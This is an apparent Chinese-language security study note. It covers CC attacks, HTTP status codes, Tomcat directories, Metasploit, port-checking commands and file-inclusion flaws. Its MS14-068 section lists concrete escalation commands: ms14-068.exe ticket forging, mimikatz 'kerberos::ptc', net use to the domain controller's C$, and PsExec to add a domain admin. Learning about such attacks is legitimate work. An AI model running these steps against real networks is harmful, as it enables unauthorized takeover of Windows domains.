网络安全涉及到的知识积累（3）

什么是CC攻击？
CC 攻击就是 DDOS 攻击的一种攻击类型。CC 攻击是它的一种攻击方式。
CC 攻击模拟多个用户(多少线程就是多少用户)不停地进行访问(访问那些需要大 量数据操作，就是需要大量 CPU 时间的页面).这一点用一个一般的性能测试软件 就可以做到大量模拟用户并发。CC 攻击的原理就是攻击者控制某些主机不停地 发大量数据包给对方服务器造成服务器资源耗尽，一直到宕机崩溃。
CC攻击主要针对网页攻击，持续时间长

http和https的区别？
HTTP：是互联网上应用最为广泛的一种网络协议，是一个客户端和服务器端请求和应答的标准（TCP）
用于从服务器传输超文本到本地浏览器的传输协议，它可以使浏览器更加高效，使网络传输减少。
HTTPS：是以安全为目标的HTTP通道，简单讲是HTTP的安全版，即HTTP下加入SSL层，HTTPS的安全基础是SSL，因此加密的详细内容就需要SSL

HTTP 请求响应常见状态码
100~199：表示成功接收请求，要求客户端继续提交下一次请求才能完成整个处理过程。
200~299：表示成功接收请求并已完成整个处理过程。常用200
300~399：为完成请求，客户需进一步细化请求。例如：请求的资源已经移动一个新地址、常用302（意味着你请求我，我让你去找别人）,307和304（我不给你这个资源，自己拿缓存）
400~499：客户端的请求有错误，常用404（意味着你请求的资源在web服务器中没有）403（服务器拒绝访问，权限不够）
500~599：服务器端出现错误，常用500

waf中为什么要设置爬虫的白名单？
爬虫白名单的存在是为了让网站能够正常的被收录， 若是将这些爬虫引擎拦截的话，可能会造成网站收入过低、权重、流量等等。

tomcat目录结构包括哪些文件？
bin：二进制可执行文件，例如startup.bat和shutdown.bat
conf：配置文件，例如：server.xml、context.xml、web.xml、tomcatusers.xml
lib：tomcat所需jar包
logs：日志文件
temp：存放tomcat运行时产生的临时文件，当tomcat关闭后，这个目录中的文件可以删除
webapps：这个目录下的每个文件夹对应一个JavaWeb应用程序
work：webapps下的应用程序在运行时会自动生成文件，就在work目录下。work目录删除了也没问题，但再次运行应用程序还要再生成work目录和文件。

什么是msf？
Metasploit是一个免费的、可下载的框架，通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。
它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。

什么是MS14-068漏洞
允许黑客提升任意普通用户权限成为域管理员（Domain Admin）身份。
也就是说，你在一台普通域用户的机器上利用这个漏洞，那么这个域用户就变成域管理员权限，然后该域用户就可以控制整个域的所有机器了。
漏洞利用思路？
1、首先利用ms14-068提权工具生成伪造的kerberos协议认证证书（黄金票据）
2、利用mimikatz.exe将证书写入，从而提升为域管理员 3、测试是否能访问域控C盘目录，能访问则说明提升为域管理员
4、利用PsExec.exe获取域控shell，添加用户并将其加入域管理员组
利用过程：
首先得到该用户的SID
whoami /user
利用工具生成票据
ms14-068.exe -u win7@MIKASA.com -s sid -d WIN-Q1E9PO4969I.mikasa.com
-u 域用户名@域名 -s 域用户SID名 -d 域控主机名
之后输入域用户的明文密码就生成了票据
提升权限
klist purge //清除原来的票据,留下一个干净的空间
mimikatz.exe “kerberos::ptc 票据的路径” “exit”
只有可以使用 net use \域控名\C$尝试访问域控

常见数据库端口号？
MySQL: 3306
SQL Server: 1433
Oracle: 1521

linux查看端口？
方法一：
1.先用ps -ef | grep xxx(某个进程)，可以查看某个进程的pid。
2.再用netstat -anp | grep pid号，可以查看到该进程占用的端口号！
方法二：
直接用lsof命令可以查看端口使用情况！
Windows查看端口？
查找所有运行的端口
netstat -ano
查看被占用端口对应的 PID
netstat -aon|findstr “port”
查看指定 PID 的进程
tasklist|findstr “pid”
结束进程
强制（/F参数）杀死 pid 为 9088 的所有进程包括子进程（/T参数）：
taskkill /T /F /PID 9088

什么是文件包含？
程序开发人员一般会把重复使用的函数写到单个文件中，需要使用某个函数时直接调用此文件，
而无需再次编写，这中文件调用的过程一般被称为文件包含。
本地文件包含漏洞
本地包含顾名思义，就是在网站服务器本身存在恶意文件，然后利用本地文件包含使用
远程文件包含漏洞
远程文件包含就是调用其他网站的恶意文件进行打开